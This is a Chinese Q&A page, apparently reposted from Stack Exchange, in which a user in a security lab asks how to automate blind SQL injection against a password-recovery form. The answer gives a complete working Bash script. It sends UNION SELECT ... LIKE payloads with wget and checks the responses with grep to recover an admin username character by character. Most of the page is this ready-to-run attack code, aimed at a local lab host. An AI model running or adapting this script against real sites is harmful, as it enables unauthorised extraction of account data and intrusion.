You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

基于Wget的盲SQL注入自动化脚本:Wget语句与响应处理咨询

问题背景

在IT安全实验中,尝试编写Bash脚本自动化基于事件的盲SQL注入。目标网站的找回密码功能接收username参数,响应分为两种:返回“an email has been sent”或error.html,该功能存在SQL注入漏洞。目标是遍历字母表构造SQL语句,获取仅由a-z组成的管理员用户名。

注入逻辑

  • 验证管理员用户名前缀的SQL语句示例:
    ' UNION SELECT username FROM users WHERE username LIKE 'a%' AND admin=1 -- -
    
    该语句用于验证管理员用户名是否以“a”开头,依次检查a-z字符。当返回retrieve_password.html时表示验证成功,否则返回error.html。
  • 验证完整用户名的SQL语句示例:
    ' UNION SELECT username FROM users WHERE username='abc' AND admin=1 -- -
    
    每匹配成功一位字符后,用该语句检查是否已获取完整用户名。

脚本雏形

#!/bin/bash

for ((i=0;i<50;i++))
do
  for x in {a..z}
  do
    wget --post-data 'username=\' UNION SELECT username FROM users WHERE username like \'$name$x%\' AND admin=1 -- -' http://127.0.0.1:8081/retrieve_password

    if [ #positive feedback ]
    then
      #Try if correct username is already retrieved
      wget --post-data 'username=\' UNION SELECT username FROM users WHERE username='$name$x' AND admin=1 -- -' http://127.0.0.1:8081/retrieve_password

      #If username was found exit
      if [ #positive feedback ]
      then
        echo $name$x
        exit
      else
        name+=$x
        break
      fi
    fi
  done
done
咨询问题
  1. 符合需求的Wget请求语句应如何编写?
  2. 如何处理Wget POST请求的响应结果?
解决方案

1. 正确的Wget POST请求编写

Wget的--post-data参数需要正确处理引号转义,避免Shell解析错误。核心是把注入语句完整封装到POST数据中,同时合理使用引号让变量正常解析:

前缀验证请求

wget --quiet --output-document=- --post-data="username=' UNION SELECT username FROM users WHERE username LIKE '$name$x%' AND admin=1 -- -" http://127.0.0.1:8081/retrieve_password
  • --quiet:关闭Wget的日志输出,避免干扰结果判断
  • --output-document=-:把响应内容输出到标准输出,方便后续处理
  • 用双引号包裹--post-data内容,内部单引号直接使用即可,Shell会自动解析变量$name和$x

完整用户名验证请求

wget --quiet --output-document=- --post-data="username=' UNION SELECT username FROM users WHERE username='$name$x' AND admin=1 -- -" http://127.0.0.1:8081/retrieve_password

仅将前缀验证中的LIKE '$name$x%'替换为='$name$x',其余参数逻辑一致。

2. Wget响应结果的处理

通过匹配响应内容中的特征字符串(如“an email has been sent”)来判断验证是否成功,具体步骤如下:

  1. 将Wget的响应内容保存到变量中
  2. 使用grep静默检查变量中是否包含成功标识

修正后的完整脚本

#!/bin/bash

name=""
max_length=50

for ((i=0; i<max_length; i++))
do
  for x in {a..z}
  do
    # 验证当前前缀是否正确
    response=$(wget --quiet --output-document=- --post-data="username=' UNION SELECT username FROM users WHERE username LIKE '$name$x%' AND admin=1 -- -" http://127.0.0.1:8081/retrieve_password)
    
    if echo "$response" | grep -q "an email has been sent"; then
      # 验证是否为完整用户名
      full_response=$(wget --quiet --output-document=- --post-data="username=' UNION SELECT username FROM users WHERE username='$name$x' AND admin=1 -- -" http://127.0.0.1:8081/retrieve_password)
      
      if echo "$full_response" | grep -q "an email has been sent"; then
        echo "Found admin username: $name$x"
        exit 0
      else
        name+=$x
        echo "Current prefix: $name"
        break
      fi
    fi
  done
done

echo "Reached max length without finding full username"
exit 1

内容的提问来源于stack exchange,提问作者user73347

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.03 23:55:28